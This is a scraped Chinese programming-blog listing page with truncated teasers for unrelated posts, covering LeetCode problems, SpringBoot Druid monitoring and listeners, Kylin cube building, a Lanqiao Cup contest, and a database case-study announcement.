文章目录2325. 解密消息方法1&#xff1a;哈希表2325. 解密消息 LeetCode: 2325. 解密消息 简单\color{#00AF9B}{简单}简单 给你字符串 key 和 message &#xff0c;分别表示一个加密密钥和一段加密消息。解密 message 的步骤如下&#xff1a; 使用 key 中 26 个英文小写字母第…

SpringBoot 监控统计(SQL监控、慢SQL记录、Spring监控、去广告)

1 基本概念Druid 是Java语言中最好的数据库连接池。虽然 HikariCP 的速度稍快&#xff0c;但是&#xff0c;Druid能够提供强大的监控和扩展功能 &#xff0c;也是阿里巴巴的开源项目。Druid是阿里巴巴开发的号称为监控而生的数据库连接池&#xff0c;在功能、性能、扩展性方面&…

算法---冗余连接

题目 树可以看成是一个连通且 无环 的 无向 图。 给定往一棵 n 个节点 (节点值 1&#xff5e;n) 的树中添加一条边后的图。添加的边的两个顶点包含在 1 到 n 中间&#xff0c;且这条附加的边不属于树中已存在的边。图的信息记录于长度为 n 的二维数组 edges &#xff0c;edge…

蓝桥杯2022 python C组

蓝桥杯2022 python C组 跟之前的就四题不一样 第二题&#xff1a;特殊时间 就是i 从0-9&#xff0c;j从0-9 i是三个一样的&#xff0c;然后看看他们能不能成为 年 月日 时分 成为年只要大于0就好了&#xff0c;称为月日的话月要从1-12&#xff0c;日呢&#xff0c;特殊的日子…

Kylin入门实战(数据源添加 + Model定义 + Cube构建 + 结果查询 + 查询限制)

目录1. 入门实战目的2. Hive源数据准备3. 创建project并添加Hive数据源4. 定义model5. 定义Cube6. 构建cube7. 查询cube构建后的结果8. 查询限制1. 入门实战目的 实现从不同的维度统计员工的工资&#xff0c;例如从岗位类型、员工年龄、部门等不同维度&#xff0c;进行多维度的…

【LeetCode每日一题】【2023/1/30】1669. 合并两个链表

文章目录1669. 合并两个链表方法1&#xff1a;模拟1669. 合并两个链表 LeetCode: 1669. 合并两个链表 中等\color{#FFB800}{中等}中等 给你两个链表 list1 和 list2 &#xff0c;它们包含的元素分别为 n 个和 m 个。 请你将 list1 中下标从 a 到 b 的全部节点都删除&#xff0…

亚信科技通信、交通行业数据库项目入选“星河”标杆、优秀案例

近日&#xff0c;由中国信息通信研究院、中国通信标准化协会大数据技术标准推进委员会&#xff08;CCSA TC601&#xff09;共同组织的第六届大数据“星河”案例评选结果公示&#xff0c;亚信科技及旗下亚信安慧支持完成的中国移动通信集团上海有限公司“业务支撑系统核心数据库…

Day 17 springboot 监听机制

1 Java 监听机制springboot监听机制&#xff0c;其实是对java提供的事件监听机制的封装。Java中的事件监听机制定义了以下几个角色&#xff1a;事件&#xff1a;Event&#xff0c;继承EventObject类&#xff0c;例如点击&#xff0c;拖动等等。事件源&#xff1a;Source&#x…